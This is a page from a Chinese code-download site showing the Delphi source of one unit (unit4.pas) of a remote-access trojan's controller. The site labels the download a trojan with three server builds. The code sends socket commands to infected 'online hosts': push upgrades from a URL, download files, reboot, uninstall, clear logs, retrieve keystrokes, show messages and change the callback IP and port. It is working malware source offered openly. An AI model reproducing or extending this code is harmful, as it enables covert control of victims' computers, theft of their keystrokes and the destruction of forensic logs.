⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 unit4.pas

📁 由于该木马有三个服务端可以选择生成
💻 PAS
📖 第 1 页 / 共 2 页
字号:
🔍
12 
procedure sjfw;
var
 i:integer;
 sock:integer;
 temp:string;
begin
 For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   temp:='56'+inttostr(i)+'|'+url;
   send(sock,temp[1],length(temp),0);
   frmmain.sinsrvs.Items[i].SubItems[5]:='正在升级';
   end;
  end;
end;
procedure TForm4.SpeedButton8Click(Sender: TObject);
var
 tid:dword;
begin
  url:=inputbox('重启后生效','升级文件下载地址:              ','');
  if url='' then exit;
  CreateThread(Nil, 0, @sjfw, Nil, 0,tid);
  form4.Close;
end;
procedure qdklj;
var
 I:integer;
 sock:integer;
begin
  url:='27';
  For I :=frmmain.sinsrvs.Items.Count-1 downto 0 Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,url[1],2,0);
   frmmain.sinsrvs.Items[i].Delete;
   end;
  end;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton9Click(Sender: TObject);
var
 tid:dword;
begin
 CreateThread(Nil, 0, @qdklj, Nil, 0,tid);
 form4.Close;
end;
procedure qxiez;
var
 I:integer;
 sock:integer;
begin
  url:='15';
  For I :=frmmain.sinsrvs.Items.Count-1 downto 0 Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,url[1],2,0);
   frmmain.sinsrvs.Items[i].Delete;
   end;
  end;
  frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton10Click(Sender: TObject);
var
 tid:dword;
begin
 if MessageBox(0,'卸载全部被选择的主机,你确定?','提示',MB_YESNO)=6 then
 begin
  CreateThread(Nil, 0, @qxiez, Nil, 0,tid);
  form4.Close;
 end;
end;
procedure webfw;
var
 sock:integer;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  send(sock,url[1],length(url),0);
  frmmain.sinsrvs.ItemFocused.SubItems[5]:='WEB完成';
end;
procedure TForm4.SpeedButton18Click(Sender: TObject);
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 form6.Edit2.text:=frmmain.sinsrvs.ItemFocused.SubItems[4];
 form6.StatusBar1.Panels[0].Text:='......';
 frmmain.Edit3.Text:='6';   
 form6.ShowModal;
end;
procedure dgxz;
var
 sock:integer;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  url:='13'+url+'|'+inttostr(frmmain.sinsrvs.ItemFocused.Index);
  send(sock,url[1],length(url),0);
  frmmain.sinsrvs.ItemFocused.SubItems[5]:='正在发送';
end;
procedure TForm4.SpeedButton12Click(Sender: TObject);
var
 tid:dword;
begin
  url:=Inputbox('下载---单','输入文件地址:          ','');
  if url='' then exit;
  CreateThread(Nil, 0, @dgxz, Nil, 0,tid);
  form4.Close ;
end;
procedure ddklj;
var
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 url:='27';
 sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
 send(sock,url[1],2,0);
 frmmain.sinsrvs.ItemFocused.Delete;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton14Click(Sender: TObject);
var
 tid:dword;
begin
  CreateThread(Nil, 0, @ddklj, Nil, 0,tid);
  form4.Close ;
end;
procedure dbzgx;
var
 sock:integer;
 temp:string;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  temp:='53'+url;
  send(sock,temp[1],length(temp),0);
  frmmain.sinsrvs.ItemFocused.SubItems[2]:=url;
end;
procedure TForm4.SpeedButton15Click(Sender: TObject);
var
 tid:dword;
begin
 url:=inputbox('备注更新---单','输入新的备注信息:              ','');
 if url='' then exit;
 if length(url)>10 then
 url:=copy(url,1,10);
 CreateThread(Nil, 0, @dbzgx, Nil, 0,tid);
 form4.Close ;
end;
procedure dcxlj;
var
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
 url:='54';
 send(sock,url[1],2,0);
 frmmain.sinsrvs.ItemFocused.Delete;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton16Click(Sender: TObject);
var
 tid:dword;
begin
 CreateThread(Nil, 0, @dcxlj, Nil, 0,tid);
 form4.Close ;
end;
procedure dxzgj;
var
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
 url:='15';
 send(sock,url[1],2,0);
 frmmain.sinsrvs.ItemFocused.Delete;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton17Click(Sender: TObject);
var
 tid:dword;
begin
 if MessageBox(0,'本次操作将卸载该主机,你确定?','提示',MB_YESNO)=6 then
 begin
 CreateThread(Nil, 0, @dxzgj, Nil, 0,tid);
 form4.Close ;
 end;
end;

procedure TForm4.PageControl1Change(Sender: TObject);
begin
 StatusBar1.Panels[0].Text:='......';
end;
procedure dcxqd;
var
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
 url:='57';
 send(sock,url[1],2,0);
 frmmain.sinsrvs.ItemFocused.Delete;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;

procedure TForm4.SpeedButton13Click(Sender: TObject);
var
 tid:dword;
begin
 if MessageBox(0,'本次操作将重启该主机,你确定?','提示',MB_YESNO)=6 then
 begin
 CreateThread(Nil, 0, @dcxqd, Nil, 0,tid);
 form4.Close ;
 end;
end;
procedure dxgzm;
var
 sock:integer;
 temp:string;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  temp:='60'+url;
  send(sock,temp[1],length(temp),0);
  frmmain.sinsrvs.ItemFocused.SubItems[9]:=url;
end;
procedure TForm4.SpeedButton19Click(Sender: TObject);
var
 tid:dword;
begin
 url:=inputbox('组名更新---单','输入新的分组名称:              ','');
 if url='' then exit;
 if length(url)>19 then
 url:=copy(url,1,19);
 CreateThread(Nil, 0, @dxgzm, Nil, 0,tid);
 form4.Close ;
end;
procedure TForm4.SpeedButton20Click(Sender: TObject);
begin
 close;
end;
procedure qzmgx;
var
 i:integer;
 sock:integer;
 temp:string;
begin
  temp:='60'+url;
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,temp[1],length(temp),0);
   frmmain.sinsrvs.Items[i].SubItems[9]:=url;
   end;
  end;
end;
procedure TForm4.SpeedButton21Click(Sender: TObject);
var
 tid:dword;
begin
  url:=inputbox('被选主机组名更新-群','输入新的分组名称:              ','');
  if url='' then exit;
  if length(url)>19 then
  url:=copy(url,1,19);
  CreateThread(Nil, 0, @qzmgx, Nil, 0,tid);
  form4.Close;
end;
procedure qcxpzxx;
var
 i:integer;
 sock:integer;
begin
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,url[1],length(url),0);
   frmmain.sinsrvs.Items[i].SubItems[5]:='重写完成';
   end;
  end;
end;
procedure TForm4.SpeedButton22Click(Sender: TObject);
var
 tid:dword;
 s1,s2:string;
begin
 s1:=inputbox('配置信息更新---群','输入新的反弹IP或DNS:              ','');
 if s1='' then exit;
 s2:=inputbox('配置信息更新---群','输入新的反弹端口:              ','');
 if s2='' then exit;
 url:='59'+s1+'|'+s2;
 CreateThread(Nil, 0, @qcxpzxx, Nil, 0,tid);
 form4.Close ;
end;
procedure qkrz;
var
 sock:integer;
 temp:string;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  temp:='65';
  send(sock,temp[1],2,0);
  frmmain.sinsrvs.ItemFocused.SubItems[5]:='清空完成';
end;
procedure TForm4.SpeedButton23Click(Sender: TObject);
var
 tid:dword;
begin
 CreateThread(Nil, 0, @qkrz, Nil, 0,tid);
 form4.Close ;
end;
procedure hcj;
var
 sock:integer;
 temp:string;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  temp:='67';
  send(sock,temp[1],2,0);
  frmmain.sinsrvs.ItemFocused.SubItems[5]:='按键完成';
end;
procedure TForm4.SpeedButton24Click(Sender: TObject);
var
 tid:dword;
begin
 CreateThread(Nil, 0, @hcj, Nil, 0,tid);
 form4.Close ;
end;
procedure xxfs;
var
 sock:integer;
begin
  If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
  sock:=strtoint(frmmain.sinsrvs.ItemFocused.SubItems[4]);
  url:='70'+url;
  send(sock,url[1],length(url),0);
  frmmain.sinsrvs.ItemFocused.SubItems[5]:='消息完成';
end;
procedure TForm4.SpeedButton25Click(Sender: TObject);
var
 tid:dword;
begin
  url:=inputbox('发送消息---单','输入消息内容:              ','');
  if url='' then exit;
  CreateThread(Nil, 0, @xxfs, Nil, 0,tid);
  form4.Close;
end;
procedure qxx;
var
 i:integer;
 sock:integer;
begin
  url:='70'+url;
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,url[1],length(url),0);
   frmmain.sinsrvs.Items[i].SubItems[5]:='消息完成';
   end;
  end;
end;
procedure TForm4.SpeedButton26Click(Sender: TObject);
var
 tid:dword;
begin
 url:=inputbox('发送消息---群','输入消息内容:              ','');
 if url='' then exit;
 CreateThread(Nil, 0, @qxx, Nil, 0,tid);
 form4.Close ;
end;

end.
12

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -